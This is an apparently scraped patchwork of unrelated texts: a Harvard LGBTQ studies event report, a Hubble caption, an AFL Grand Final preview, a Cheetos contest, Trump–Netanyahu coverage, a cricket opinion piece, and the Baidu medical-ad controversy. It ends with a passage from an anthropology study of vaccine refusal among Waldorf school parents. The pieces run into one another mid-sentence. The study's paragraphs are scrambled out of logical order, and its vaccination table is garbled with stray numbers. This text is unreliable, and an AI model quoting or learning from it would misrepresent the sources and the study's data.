Advertisement In a casual, open conversation meant to also serve as his official welcome to the University, Abelove spoke about his work with LGBTQ studies and invited participants to engage in discussion about its history and evolution. In particular, Abelove touched on the changes in the LGBTQ life at Harvard since his graduation in 1966 and the role of social networking in today’s LGBTQ dating scene. McCarthy said that the event, co-sponsored by Committee on Degrees in Studies of Women, Gender, and Sexuality and the Carr Center’s Sexuality, Gender, and Human Rights Program, was meant to promote more critical discussions on campus and to also create another space for students and faculty to talk about gender and sexuality issues. “The institutionalization of gender and sexuality studies has been a slow coming. Here at Harvard, we have yet to achieve departmental status,” McCarthy said. “Events like these are just meant to create another space for us to talk about how these issues intersect with women and gender studies.” Under the Matthiessen professorship, Harvard is able to invite scholars studying LGBTQ-related issues to teach as part of the Faculty of Arts and Sciences for one semester. Professors will be chosen with the input of faculty members, who will nominate other potential candidates for the chairship. —Staff writer Michelle Denise L. Ferreol can be reached at mferreol@college.harvard.edu.A smouldering star This new image, snapped by NASA/ESA Hubble Space Telescope, shows the star HD 184738, also known as Campbell’s hydrogen star. It is surrounded by plumes of reddish gas — the fiery red and orange hues are caused by glowing gases, including hydrogen and nitrogen. HD 184738 is at the centre of a small planetary nebula. The star itself is known as a [WC] star, a rare class resembling their much more massive counterparts — Wolf-Rayet stars. These stars are named after two French astronomers, Charles Wolf and Georges Rayet, who first identified them in the mid-nineteenth century. Wolf-Rayet stars are hot stars, perhaps 20 times more massive than the Sun, that are rapidly blowing away material and losing mass. [WC] stars are rather different: they are low-mass Sun-like stars at the end of their lives. While these stars have recently ejected much of their original mass, the hot stellar core is still losing mass at a high rate, creating a hot wind. It is these winds that cause them to resemble Wolf-Rayet stars. However, astronomers can look more closely at the composition of these winds to tell the stars apart; [WC] stars are identified by the carbon and oxygen in their winds. Some true Wolf-Rayet stars are rich in nitrogen instead, but this is very rare among their low-mass counterparts. HD 184738 is also very bright in the infrared part of the spectrum, and is surrounded by dust very similar to the material that the Earth formed from. The origin of this dust is uncertain. A version of this image was entered into the Hubble’s Hidden Treasures image processing competition by contestant Jean-Christophe Lambry. This caption was revised on 18/09/2013 to more accurately describe this image.Andy Otten has kept his place as both sides go in unchanged - See the full Grand Final teams here - Mega-preview: Grand Final - Untold stories: Richmond's 1980 GF drama ADELAIDE and Richmond will head into Saturday's Grand Final with settled line-ups after both clubs declined to make changes for the premiership decider. Crows forward Mitch McGovern was earlier this week ruled out of returning to the side after missing the preliminary final with a hamstring strain, leaving the minor premiers to stick with Andy Otten against the Tigers. There was also speculation that defender Kyle Hartigan could be forced out with a lack of obvious match-ups for the Crows backman. However, coach Don Pyke and his match committee have backed in the side that stormed into the Grand Final with a comfortable preliminary final win over Geelong. Youngster Wayne Milera, defender Alex Keath and back-up ruckman Reilly O'Brien have been named as the Crows' emergencies. Richmond coach Damien Hardwick forecast earlier in the week that the Tigers would head into the game unchanged, and the Essendon and Port Adelaide premiership player has stuck to his word by picking the same side that beat Greater Western Sydney convincingly last week. There were some fitness doubts over Kane Lambert earlier in the week, but he trained fully on Thursday and has proved he is ready to face the Crows. Ruckman Shaun Hampson, midfielder Corey Ellis and speedy half-back Jayden Short will be on standby as Richmond's emergencies. It is the Crows' first Grand Final since 1998, while the Tigers haven't been in a Grand Final since 1982. Saturday, September 30 Grand Final: Adelaide v Richmond at the MCG, 2.30pm ADELAIDE No change RICHMOND No changeThese Cheetos all look like lumpy snakes. Or orange worms tied into weird knots. Either way, they're probably not unusual enough for the Cheetos Museum. Photo by red mango/Shutterstock.com PLANO, Texas, June 21 (UPI) -- Frito-Lay is seeking photos of Cheetos that resemble other objects for display in the company's online Cheetos Museum. The company said its search for the "Mona Lisa of Cheetos" involves asking snack food fans to share photos of Cheetos that resemble different objects, animals and people for display on the Cheetos Museum website. The museum said the 10 best submissions "will be featured in the ultimate official Cheetos art collection." The winners will also split a total $150,000 in prize money. "Cheetos are like clouds -- each has a unique shape that comes to life with your imagination. Since their inception, Cheetos snacks have captivated consumers with their whimsical shapes and uncanny resemblances to landmarks, animals, objects and even deities," said Jeannie Cho, Frito-Lay's vice president of marketing. "We have seen people share, tell stories, and even sell them online -- now we have an official Cheetos Museum to celebrate the creativity out there, and we want to fill it with your imagination!" Submissions are being accepted through Aug. 15 at CheetosMuseum.com.President Trump and his wife Melania welcomed Binyamin Netanyahu, with his wife Sara, to Washington for the two leaders’ first meeting since the US election Saul Loeb/Getty Images President Trump took the search for peace in the Middle East into a new era yesterday by abandoning the United States’ goal of an independent Palestinian state. Mr Trump said that he was optimistic about striking a deal with Israel’s Arab neighbours, but he made clear that he was open to a settlement significantly different from the two-state solution championed by the US and much of the world for the past few decades. “I’m looking at two-state and one-state, and I like the one that both parties like. I can live with either one,” he said after welcoming Binyamin Netanyahu, the Israeli prime minister, to the White House. Such an approach would abandon the cornerstone of the peace process pursued by Republican and Democrat presidents…The breathtaking image of a cricket ground, steeped in blue skies and embedded at the foot of an iconic mountain range – the perfect contrast of lush green and bright blue. The contours of a natural giant frame this masterpiece. Below, nestled into a small pocket of the Railway Stand just in front of the electronic scoreboard: Hashim Amla’s army are on song. The fake beards are all on show, though not necessarily strapped to their chins; the wind teasing just enough to flap the detachable hair into their fully open mouths. But they don’t care. It’s day two in Cape Town and South Africa are taking Sri Lanka to the cleaners. Quinton de Kock was feasting on a depleted bowling attack like maggots on a fresh carcass. The tailenders were frustrating Suranga Lakmal and Lahiru Kumara. Sri Lanka couldn’t afford this; not after winning the toss and bowling in seam-friendly conditions. The last five wickets would put on 57 percent of the Protea’s first innings total and effectively put a bullet in Sri Lanka’s already battered temple. Needless to say, these fans, which are as close to ‘ultras’ as the Test summer can muster, were in their element; unfortunately the same cannot be said for their idol. Amla’s Difficult 2016 Hashim Amla has now gone ten innings without a Test fifty. His current form is reminiscent of his struggles in Asia in 2015, back when he was at his lowest ebb. At that point, he was juggling flaming torches. The pressure to score a glut of runs, (as is demanded on Indian soil) while captaining a sinking ship on cricket’s most difficult tour was all too much. Something had to give. Sure enough, two Tests into the England series in January 2016 and with South Africa 1-0 down, Amla announced that he would be stepping down as South African captain. He claimed that he had made the decision before the start of the series. Thus his 201 in the second Test must have been his release. It was a real breaking of the shackles moment; he was no longer bound to the energy sapping responsibilities that come with leading one’s country. He was a free batsman; free again to score and score heavily. Free to pile on the misery for the Protea’s opponents. However, one year on from his resignation and that hasn’t happened. South Africa’s second most esteemed batsmen in its history is struggling and the return of AB de Villiers is looming over selectors: a future problem but with a nagging omniscience. AB will play, there is no question about it; some room has to be made to accommodate South Africa’s most illustrious player. Sharpen the pitchforks and fetch the kerosene; the suggestion that is about to be made will border on cricketing sacrilege. Should South Africa drop Hashim Amla? A Team on Song The major issue is that there is no get out of jail free card for Cricket South Africa; no easy swap. Everyone has stepped up their game in the current XI, and when you have to drop somebody from a winning side, there will always be someone who’ll feel hard done by. Although in examining the latest evidence, Amla is presenting himself as the appropriate sacrifice. The Proteas’ batsmen First Test versus Sri Lanka: Stephen Cook makes a hundred and puts on two century partnerships for the first wicket with Elgar. Second Test versus Sri Lanka: Elgar scores a hundred and his second fifty of the series. Both Elgar and Cook also recorded Test centuries in Australia. The openers are constantly conspiring to make fools of their doubters. JP Duminy is looking revitalised after a potentially career-saving century in Australia. It was his first since 2014 in Tests. At Port Elizabeth, his newly found form was put into context when batting with a struggling Amla. While Hashim was awkwardly cagey, eschewing all possible opportunities to get forward, JP was fluid with his stride, and crisp with his striking. Meanwhile, Faf du Plessis is proving the facelift that the captaincy so desperately needed. His aggressive nature has orchestrated the upturn in South Africa’s fortunes. Leading with the bat down the order and alongside Quinton de Kock, a modern day Gilchrist in the making, the Proteas now possess a lower-middle order, which has the potential to be as frightening a proposition as India’s Ajinkya Rahane and Ravichandran Ashwin. Play of the day In the field, Bavuma is at it again. He leaps, he cocks, he flings, he soars. The ball is fired ferociously and it rattles the timbers. The stumps shatter into loose chips of debris before he has even hit the deck. Dimuth Karunaratne is spared the walk of shame, but only just. The leaping salmon was inches from bagging another cracker – almost a carbon copy of his David Warner run-out in December. It is also worth mentioning that while Temba Bavuma may not be lighting it up with the bat, he has scored two fifties in his last ten innings. Batsmen 1, 2, 4, 5, 6 and 7 are making plays, pleading cases and solidifying their Test futures. But Amla, the Mr Dependable, the wall, the run machine of South African cricket for the best part of 12 years is now coming face to face with a wall of his own. With the series against Sri Lanka already wrapped up and only a dead rubber to play, could Amla be dropped to accommodate the development of younger players such as all-rounder Theunis de Bruyn? This is not to say that Amla should be banished from the side indefinitely. Nor indeed that he should be the one to eventually make way for AB. But at this very moment, you’d pick him to step aside over anyone else. Strength in numbers There are three main advantages to benching Amla for the third Test next week. Firstly, it gives South Africa the chance to blood young players, affording the opportunity perhaps for debutant Theunis de Bruyn to stake a claim for selection in upcoming tours. More importantly, it would give the young man precious experience and a chance to build his confidence with less pressure, (the series is already won) on him to perform. Secondly, it provides an opportunity for South Africa to broaden their scope. Instead of building a world-class eleven, how about building a world-class squad? The gargantuan away stint in England is on the horizon for the Proteas. They will arrive in May for an ODI series, then stay for the Champions Trophy, a T20 series and a four-match Test series. They will not leave British shores until mid-August. As Pakistan demonstrated last year, you have to have a strong squad if you are to walk away with two Test victories in England. Had it not been for Sami Aslam replacing Shan Masood and Sohail Kahn replacing Rahat Ali, they would never have salvaged a result from the series. Pakistan had a good bench; South Africa could have one too. Who is to say that a healthy scrap between the likes of Hashim Amla, JP Duminy, Temba Bavuma and any other prospects currently on the outside looking in, isn’t good for the Protea’s red ball form? A rotation policy bearing fruit South Africa have to be brave; they have to be daring. Look at India and how they have used a rotation policy to better their squad depth. Dangling the carrot in front of hungry batsmen can have a very powerful effect; when they get the chance to shine, they might just grab it. For India, Rohit Sharma is a player who is used as the ultimate motivator as opposed to what critics would view as a chastening spectre. He is in the squad as the aggressor; Test cricket’s tactical sub. Be positive, score with freedom and make your chances count, because if not, Rohit is ready to replace you. The rhetoric is that there are always places up for grabs, and chances to prove yourself on long tours. After all, injuries are a near certainty and dips in form are inevitable. South Africa have the chance to adopt such shrewd tactics to deduce who should make way for AB and also to confirm that their current team is indeed the best available. With four Tests before England, why not try a few viable combinations while also allowing out-of-form players to go and play at domestic level. Competition for places is healthy, and as long as there is the whiff of an opportunity around the corner, it keeps everyone interested. Being dropped Amla’s watershed moment? The final advantage of dropping Amla is that it would give him time to go and work on his game. The next round of Sunfoil Series (SA’s domestic competition) games are scheduled to start on the 12th of January. While South Africa battle it out for the chance to take a series sweep, Amla could be given some match practice with his domestic club, Dolphins, in order to reignite his form. After all, Amla is the game changer against England. For his entire career, Amla has had England’s number: six centuries and a career average of 56.21 against them. Even more astonishing is his average in England – 75.7 in seven matches including a triple hundred and two second-innings centuries. He is the man that needs to be on form if South Africa are to have a chance this summer. Being dropped could be the watershed moment he needs; he could come back stronger for the New Zealand series and thus put the pressure back on somebody else. History favours the brave History indicates that there’s nothing wrong with dropping the best. Looking at two recent examples of international cricket’s high profile drops, the ends have justified the means. Joe Root was dropped after a torrid time down under in the 2013 Ashes. Although that was very early in his career, people were sure that he was something special. Sure enough, since his return to the England side he has never looked back. Even more recently, Chesteshwar Pujara was dropped during India’s Carribean tour in 2016 for his habit of scoring slowly. He was replaced for the third Test despite his career average of 46.83 because captain Virat Kohli and coach Anil Kumble knew he had the ability to be better and score more positively. Right now, Amla too could be doing better. Since Pujara’s return he has plundered 774 runs in 8 matches with three centuries and four fifties: a very Amla-esque stat, especially against England. Perhaps with a little time away from the national side, and with time to consult a few coaches, past players and play some domestic cricket, Amla too can regain his mastery of run production, which in the past has made him such a dangerous proposition for South Africa’s impending opponents.A Chinese college student recently died of cancer after receiving questionable treatment from a hospital that advertised on search engine Baidu, sparking a huge outcry online in China. Wei Zexi, 21, a college student from Xidian University in northwestern Shaanxi province, died of synovial sarcoma, a rare form of cancer, earlier last month. During the latter period of his life, he received a treatment found in Baidu’s search results at a Beijing hospital. Later he realized the hospital’s claims to cure cancer were dishonest. Wei vented his anger at Baidu online before his death, in a post that was widely circulated among China’s 700 million internet users in recent days. To the question “What do you think is the greatest evil of human nature?” on Chinese Q&A site Zhihu (link in Chinese), Wei answered Baidu, saying he never should have trusted medical ads on the search engine. “I had no idea Baidu was so evil at the time,” he wrote. Wei said he learned of immune therapy from the Second Hospital of Beijing Armed Police, because it was the first paid advertising result on a Baidu search for treatments. The therapy aims to use cells generated by patients’ own immune system to fight cancer. A doctor with the hospital told Wei the treatment was developed by the US’s Stanford University, he wrote, and was 80 to 90% effective. After treatment, his health only deteriorated. He spent more than 200,000 yuan ($30,810) for the therapy over several months. Later he learned the CIK cell therapy he received is only in clinical trials in the US and has a low record of effectiveness—information that didn’t turn up high on Baidu’s search results. On Apr. 12, Wei’s father wrote on Zhuhu that Wei died that morning. The tragedy suddenly took over China’s internet this past weekend. So far Wei’s Zhihu post has attracted more than 20,000 “agrees” and thousands of comments. ”Doctors without conscience should die, Baidu without conscience should die, only you shouldn’t have died,” one internet user wrote. Another wrote “I only wish heaven doesn’t have Baidu.” Search engines including Google, Microsoft’s Bing, and Baidu sell ads that come up in search results for different topics. Those ads, or ”Paid Search,” as Baidu calls them, are typically put above organic search results but are clearly delineated. Baidu’s critics say
a close look at PBE rate variation among private schools has not been taken (see Shaw et al. 2014 ). My research begins to correct for this by focusing on vaccine refusal and delay in a Waldorf school setting. Waldorf schools offer an increasingly popular form of alternative education and they are thought to account for a notably disproportionate share of PBEs. At the California Waldorf school that hosted my research, the PBE rate was 51%—10 times higher than the state's private school average (5.2%; Lee and Abanilla N.d.). Although certain vaccinations are required for kindergarten entrance, the number of parents filing personal belief exemptions (PBEs; waivers to enable enrollment for un‐ and under‐vaccinated children without religious or medical contraindications) has increased in recent years, particularly in states with lenient PBE regulations (Omer et al. 2009, 2012 ). This is not an access issue: Exemptions are highest in private schools, whose average PBE rate is 6.10% compared to 2.79% in public schools (Shaw et al. 2014 ). The case for pediatric vaccination seems self‐evident. In the United States alone, “among children born during 1994–2013, vaccination will prevent an estimated 322 million illnesses, 21 million hospitalizations, and 732,000 deaths … at a net savings of $295 billion in direct costs and $1.38 trillion in total societal costs” (Whitney et al. 2011 :352). Experts say no other public health effort except sanitized water has had such a major and beneficial impact (Pollard 2007 ). However, kindergarten vaccination rates—the standard measure of uptake—indicate that not everyone agrees. My work seeks to help fill these gaps and enrich our understanding of the PBE problem by extending prior social anthropological perspectives on vaccine decision‐making (e.g., Brunson 2013 ; Leach and Fairhead 2007 ) to a setting where vaccine refusal and delay actually is common. After asking about anthroposophy's influence, I attempt to characterize in detail any social mechanisms that may fuel high PBE rates, and to gauge whether cultural cognition is a factor also. If so, this has important implications for intervention. The anthroposophy–vaccine avoidance equation is accepted in Europe. However, whether the same simplistic “cultural beliefs” explanation accounts for high PBE rates in U.S. Waldorf schools remains untested. So does the applicability of a more socially oriented perspective. For instance, we know nothing about the impact of Waldorf school community membership on vaccine acceptance over time (i.e., for one's younger children or in regard to adolescent vaccinations). Likewise, we do not know whether and how Waldorf schools attract vaccine‐nonconforming parents to begin with. The European situation has been explained as stemming from anthroposophy's teaching that childhood diseases strengthen children physically and mentally and prevent some future illnesses (Ernst 2011 ). Although Steiner himself did not rule out immunization (see Dietz 2004 –2009), anthroposophical physicians do say that fevers and inflammations (i.e., common childhood diseases) help the body break down and extrude old or expired matter and contribute to cell renewal and growth as well as to overall immune system strength (e.g., Dietz 2004 –2009; Incao 2004 –2009; compare Duffell 2001 ). The understanding that vaccinations harm the immune system also has been reported among anthroposophists in the Netherlands (Streefland et al. 1999 ); some scientific research supports this claim (e.g., Alfven et al. 2005 ; Alm et al. 1999, 2002 ; Enriquez et al. 2005 ; Rosenlund et al. 2009 ). The role U.S. Waldorf schools have played in vaccine‐preventable disease outbreaks has not been scientifically assessed. However, European Waldorf schools have been identified as epidemiological epicenters for measles and other outbreaks (Ernst 2011 ; Hanratty et al. 2000 ). Waldorf pedagogy has its roots in anthroposophy, a holistic philosophy promoted by Waldorf education's founder, Rudolf Steiner (1861–1925). Anthroposophy, often glossed as “the wisdom of humankind,” offers a path to self‐development resting on the assumption that a nonmaterial or spiritual universe interpenetrates and informs the material one. Anthroposophy is not taught in Waldorf schools, although it is a basis for them. Waldorf pedagogy takes an ostensibly non‐interventionist approach to learning, contending that academic skills emerge as a child is ready. The teacher's job, accordingly, is to scaffold and optimize this process rather than to impart “knowledge.” To this end, Waldorf school environments are as “natural” as possible, with wood furnishings, organic comestibles, and no electronics. Waldorf education is rich in the arts, heavy on experiential learning, and light on summative testing (see Petrash 2002 ; regarding Waldorf early childhood education in particular, see Sobo 2014 ). Introduced in Germany in 1919 as part of an effort to decouple government interests from education, Waldorf education has grown exponentially since, with public support in some countries and as a private alternative in the United States. With the rise of the charter school movement, and amid the current backlash against standardized testing and the related push for whole‐child education, the number of Waldorf‐inspired public schools has also burgeoned (Sagarin 2011 ). Nonetheless, with few exceptions (e.g., Parker‐Rees 2011 ), peer‐reviewed research on Waldorf education remains scant. It has been suggested anecdotally that Waldorf schools host large numbers of students with PBEs. Using publically available records for California, I found that the average Waldorf school PBE rate is 57.2% (median = 54.5%; range: 38%–87%; the state's private school average is 5.2%). Even more significantly, although Waldorf schools make up 0.01% of the state's 1969 private schools with PBE rates on file, they account for half of the 10 private schools with the highest rates. Also significantly, all 20 Waldorf schools listed are in the top fifth percentile (raw data source: California Department of Health, via Hubert‐Allen and Aliferis 2013 ). 1 Why? What makes Waldorf schools different? When it comes to vaccination, solidarity with one's people networks may be so important that outsider challenges only strengthen beliefs: In a randomized controlled trial, Nyhan and colleagues ( 2014 ) found that information supporting vaccination reduced intent to vaccinate among parents most against vaccination to begin with. This occurred even when parents came to understand correctly that, for example, autism and vaccination are unrelated. Nyhan and colleagues suggest that vaccination rejectors mobilize other objections defensively to maintain their anti‐vaccination stance (2014:e840). Kahan's ( 2013 ) contention that anti‐vaccination beliefs index core group values and are important to group‐related self‐identity, thereby triggering cultural cognition (and so remaining firm) when competing ideas are presented, seems to support Nyhan and colleagues’ suggestion. It remains speculative, however, pending research with a group that explicitly values vaccination refusal—such as may be found in a Waldorf school setting. These findings suggest to me that a simple “confirmation bias” (whereby information confirming one's prior knowledge is selectively, individualistically attended to) is not at work. Rather, this seems an instance of “cultural cognition,” defined as when people match their ideas to those of valued in‐group members (members of their people networks) to avoid cognitive dissonance and demonstrate solidarity (Kahan et al. 2012 ). Cultural cognition intensifies in the presence of “cues of group conflict” and when the ideas in question “distinguish their group from competing ones” (Kahan 2013 ). Indeed, a recent social network analysis found that parents’ “people networks” greatly affected vaccination decisions (Brunson 2013 ). The proportion of people in subjects’ people networks who promoted vaccine refusal and delay or nonconformity was the most significant predictor of subjects’ own vaccine nonconformity—even when compared to individual exposure via “source networks” to materials supporting nonconformity and even when compared to subjects’ own perceptions of vaccination. Poltorak and colleagues’ research indicates that vaccine decisions depend “not on a singular deliberative calculus and the information and education that informs it, but on contingent and unfolding personal and social circumstances in an evolving engagement” (2005:718). In their multi‐methods project, interviewed mothers’ decisions were affected “by personal histories, by birth experiences and related feelings of control, by family health histories, by their readings of their child's health and particular strengths and vulnerabilities, by particular engagements with health services … and by friendships and conversations with others” (p. 709)—vaccine decision‐making was a highly social process. But the assumption that “correct understanding” correlates with “correct action” is specious. First, many who vaccinate do so due to its routinization or from social pressure (Leach and Fairhead 2007 :49, 70, 77; see also Nichter and Nichter 1996 ). Moreover, rather than assuring conformity to scientifically agreed‐on positions, high scientific literacy may, in fact, correlate with the contrary—as it does in regard to climate change, particularly for individuals with vested interests (Kahan et al. 2012 ). High scientific literacy also may intensify vaccine rejectionism (Kahan 2013 ). To understand such counterintuitive findings it is helpful to consider actual vaccine decision‐making. Some have suggested that scientific illiteracy is the problem. Public understanding of science is imperfect at best. In a 2012 survey administered by the National Science Board, only 33% of a representative U.S. sample correctly answered “scientific process” questions, such as those in regard to experimental design and probability (National Science Board 2014 :7–24). Rockhill ( 2001 ) finds that people also misunderstand risk factor epidemiology, for instance in conflating “risk factor” with “causal factor.” Moreover, many people use population‐level risk factor statistics to predict individual risks, although doing so is unsound. Western culture today emphasizes active, informed health care consumerism, in which patients—and parents—are responsible for educating themselves so that they may make wise health care choices (e.g., Henderson and Petersen 2001 :2–3; Lee et al. 2010 ). This “burden of responsible consumption” (Kaufman 2010 :23) infuses Western parents’ experience with pediatric vaccination (see Leach and Fairhead 2007 ; Silverman 2010 ). That said, why are some parents more concerned about vaccines than vaccine‐preventable diseases? What can be done to counter misplaced worries that spur dangerous choices? The analysis also was informed by the quantitative data. I generated descriptive statistics from the household demographic form to describe the sample. I also extracted vaccination answers from the draft surveys when possible, bearing in mind the limitations of self‐reports made on a draft instrument. The content analysis was enhanced by my first‐hand experience as a Waldorf parent. This enabled me to grasp efficiently certain aspects of parent discourse that would have taken an outsider much longer to parse and to produce a culturally sensitive analysis that takes into account internal variation. Narrative data from the focus groups and the formative and cognitive interviews were audio‐recorded and transcribed. I reviewed the three data sets as they came in, using standard ethnographically informed content analysis techniques (open and relational coding based on iterative review, theoretical model building, etc.; see Glaser and Strauss 1967 ; Quinn 2005 ; Ryan and Bernard 2003 ; Sobo 2009 ; Strauss and Corbin 1998 ). In this way, major themes and subthemes as well as their relationships were identified. Then, six individual formative interviews were conducted to gather narrative data regarding the same topics privately. The quota of six was set in relation to the small population size and the related need to reserve enough participants for subsequent cognitive or “think aloud” interviews. In the latter, participants explained their responses to items proposed by prior participants for the survey. For instance, the draft survey listed all recommended vaccinations (with lay translations of which diseases these were for) and asked whether each child was, given his or her age, completely, partially, or not vaccinated. The draft survey also contained items relating to household dietary practices (e.g., food eaten or avoided), child health indicators (e.g., allergies, weight, screen time), and health promotion practices (e.g., therapies used). Forty cognitive interviews were planned. Data saturation made that unnecessary: We stopped at 18. The mean durations of the formative and cognitive interviews were 71 and 99 minutes, respectively. Focus groups were convened to jump‐start the survey development process. Only two were planned due to the small relative size of the population, from which individual interviewees also would need to be recruited. There were a total of 12 focus group members. After collecting household data forms (self‐reports of age, household income, and so on), the RAs asked each group about preventive health practices, dietary and eating habits, allergies, fever treatments, and related health issues. 3 Each meeting lasted two hours, with 1.5 hours devoted to narrative data collection. Vaccination was not queried initially. But parents presented vaccination as a central concern, thereby obligating me to attend to it. This article therefore analyzes data that, however rich, emerged as a survey‐building by‐product. The IRB‐approved project that findings are drawn from aimed to develop a health survey for Waldorf parents using methods common to such a task: focus groups and interviews. The school served 195 households. To help avoid amassing a biased sample, households were randomly numbered and then resorted numerically. 2 Starting with family number one, research assistants (RAs) Sean Tangco and Erik Hendrickson recruited primary caretakers (parents, guardians) using an outreach letter and follow‐up phone calls and emails. The school hosting the study was about 30 years old and served 280 pre‐K through 12th‐grade students, whose ethnic mix was 4% Asian, 3% black or African American, 9% Hispanic or Latino, 60% white, and 24% two or more races. The latter compared to 2.1% countywide. The school does not collect income data, but records show it received 166 tuition assistance applications for 2009–10. Average tuition paid that year was $6,802 (personal communication). Findings Each participant represented one Waldorf school household as primary caregiver. Table 1 summarizes participant characteristics. Table 1. Participant characteristics (N = 36) Average participant age (years) 45 Gender Female 30 Male 6 Education1 High school or vocational degree 11 Bachelor's degree 17 Master's or doctoral degree 8 Average household income1, 2 $119,839 (median = $100,000) Average number of children 2 Seventeen participants provided vaccination data on the draft survey (see Table 2). In families with more than one child (e.g., CI‐04; CI = cognitive interview), the older child is shown first (to protect privacy, actual ages are undisclosed). The median age on enrollment for older children was four years; younger children often began a little earlier. Table 2. Required Vaccinations by Family (N = 17) and Child (oldest child first); 2 = fully vaccinated for age, 1 = partially vaccinated, 0 = not vaccinated; total = 10 indicates all vaccinations are up to date Measles, Diphtheria, Younger Chicken mumps, tetanus, children, Parent pox Hepatitis rubella pertussis Total fewer ID (varicella) B (MMR) Polio (DTaP) score vaccines? CI‐04 0 0 2 0 2 4 Fewer 0 0 1 0 1 2 CI‐10..... 101 Fewer 0 0 0 0 0 0 CI‐12 0 0 0 0 0 0 No change 0 0 0 1 1 2 CI‐13 2. 2 2 2 8 – CI‐14 2 2 2 2 2 10 – CI‐18 1 2 1 1 2 7 – CI‐27 0 2 2 2 2 8 Fewer 0 2 2 2 2 8 0 1 2 2 2 7 CI‐28 2 0 2 2 2 8 – CI‐29 2 2 2 2 2 10 No change 2 2 2 2 2 10 2 2 2 2 2 10 CI‐31 1 2 2 2 2 9 – CI‐45 2 0 2 2 2 8 – CI‐48 0 0 0 2 1 3 – 532 0 0 0 1 2 3 – CI‐63 2 2 2 2 2 10 No change 2 2 2 2 2 10 CI‐62 2 2 2 2 2 10 Fewer 1 1 1 1 1 5 CI‐72 1 1 1 1 1 5 No change 1 1 1 1 1 5 CI‐74 1 0 2 1 2 6 Fewer 0 0 1 1 2 4 0 0 0 0 2 2 Averages 0.93 0.96 1.36 1.36 1.64 6.21 N.A. (median = 7) In Waldorf schools, pre‐school extends through age five; six is the standard age for kindergarten. The host school's kindergarten PBE rate was, as previously noted, 51%. Yet, in Table 2, only two children were totally unvaccinated, and the average child was about two‐thirds up to date on his or her vaccines (see Table 2). Moreover, of the nine families with multiple children, five vaccinated their younger children less frequently, suggesting that birth order may predict vaccination status. For instance, Justine (respondent CI‐10; all names are pseudonyms) had a 10‐year‐old child. He was first enrolled at preschool age and was fully vaccinated. Justine's second child, born after she had become so committed to Waldorf education that she underwent teacher training, is wholly unvaccinated. More typically, when a drop‐off in vaccination occurred it was gradual, as, for instance, in Felicia's family (the last in Table 2). Felicia explained that this occurred in tandem with social learning, through peer networks. She apologized about her oldest child's immunizations: “I didn't know any better” (CI‐74). As a focus group participant explained, “A lot of people that come [here] have vaccinated their children … and then they chose to discontinue” (FG‐2; FG = focus group). Another told of vaccinating her older child “in my pre‐Waldorf awareness years”; she stopped after “learning more” when she “entered this community” (FG‐1). Publically available data confirm the uptick in vaccine refusal subsequent to enrollment. California recently mandated a pertussis (whooping cough) booster (Tdap) for 7th grade. Of the study school's 70 2011–2013 7th‐grade students, 71.43% had PBEs on file.4 The difference between this and the kindergarten rate (51%) has significance: The state's overall 7th‐grade private school Tdap PBE rate did not differ notably from the state's overall private school kindergarten PBE rate. Thus, the observed increase did not reflect a statewide tendency for parents to slacken when it comes to adolescent vaccinations. Nor did it reflect an exodus of vaccinators prior to 7th grade: While four of the 42 students reported on the household demographic forms were leaving in the fall, these were all high‐school transfers.5 Orientation to Child Health Vaccination choices cannot be understood without some knowledge of participants’ overall orientation to child health, which highlighted prevention through “healthy living” and accepting sickness as part of life. As Bertana said of childhood illness: “We look at it as part of the process of growing up and building a strong immune system” (FI‐11; FI = Formative Interview). Bertana's use of “we” signifies a sense of collective identity that was clearly articulated by many: “That's what we are, is community” (FG‐1). Participants often explained child health preferences in regard to this community. One father, a self‐described “newbie to the Waldorf world,” said he now uses “wood and steel utensils, no more plastic because of Waldorf.” “No television,” he added, “No social media” (CI‐28); outside influences were thus curtailed. Participants said: “It's a lifestyle”—one meant to “keep their children healthier, so they don't get to the point where they need to go to the doctor” (FG‐1). Many parents were cautious about allopathic medicine (which they labeled as such, or as “Western” or “mainstream”). They saw it as shortsighted in “just treating the symptoms” (FI‐59). Eduardo warned: “You don't take something to necessarily to get rid of a headache; you look at what is underlying in the fact that someone is getting headaches” (FI‐46). This holistic approach was generally individualistic and favored support versus intervention. Homeopathy was highly endorsed. “Medicine,” in one parent's words, “should be there to augment the body's natural process towards health rather than replace the body's ability to heal itself” (FI‐11) or, worse, damage it with “toxins” (FI‐68)—to which smaller bodies are more “sensitive” (CI‐74). How did parents know these things? “The teachers are really good about educating” (CI‐48)—and, more importantly, parents self‐educated. As one said, “[I] throw all kinds of pencils and homework upon myself” (FG‐1). Advice was shared: Helen, to provide an example, told of a “big information sharing session” regarding food storage containers (CI‐12). Information often came from alternative sources thought “not biased by the government or a laboratory” (CI‐72). Most parents were “somewhat skeptical of the government and somewhat skeptical of sort of big brother and organized medicine, big medicine, big pharma, that kind of thing” (CI‐48). But parents also made assertions like: “I'll tend to go with something that's from NIH, and then I'll even like go and look at some of the things on PubMed” (CI‐31). Indeed, “research” often was invoked to authenticate a given health care choice (e.g., “If you look at brain research” [FI‐11]; “It is pretty well empirically documented” [FG‐2]; “I made that educated choice based on my research” [FG‐1]). Several parents referred to schooling or training in explaining their ability to evaluate and digest information. Noted Darlene: “Doctors only go to another four years of education, it's not much. … Are they much more knowledgeable than you? … You have to take self‐responsibility and I think in a Waldorf community parents take self‐responsibility” (FI‐59). Parents took pride in their “diligent” and “conscientious” or “conscious parenting” (CI‐28, CI‐31, FI‐17) approach to pediatric care: “Really, I think we delve about as deep as you can” (FG‐1). As Helen said, “Waldorf parents … really take the time to think about things, like they just don't go through just taking whatever society or lobbyists gives them, or advertising” (CI‐12). Alternative choices were taken to symbolize one's capacity for independent thinking. In speaking about health, very few participants mentioned anthroposophy spontaneously. In response to its proposed use as a survey item anyhow, many cognitive interviewees said things like: “I do not know enough about it to answer” (CI‐31) and “I don't know the word” (CI‐14); indeed, a number struggled with anthroposophy's pronunciation. And when prompted with an open‐ended free‐list type survey question regarding typical household health practices, only one of the survey‐piloting parents entered it (in contrast, most mentioned homeopathy). Nobody mentioned anthroposophy in relation to vaccination. Likewise, nobody cited institutional tolerance for non‐vaccination in explaining why they chose the school. In fact, one mother complained in a focus group that the school did not proactively inform parents about the waiver option. The research did not ask why parents chose the school, but many spontaneously mentioned the match between the school's ethos and their own holistic, “conscious” approach to raising children. Leticia noted that committing to Waldorf education “takes courage” (FI‐61) because it is so unconventional; others made similar observations. Vaccination nonconformity was analogous: “It shows that the parents are individual thinkers … it takes a lot of work to go against the grain of society” (FI‐11). Vaccination‐specific Understandings Many parents expressed distaste for vaccines (reflected in Table 2). Ten key reasons for their disuse emerged: the profit motives of those who make, sell, and administer them; foregone benefits of getting a disease naturally; the low general risk for exposure to various vaccine‐preventable diseases; 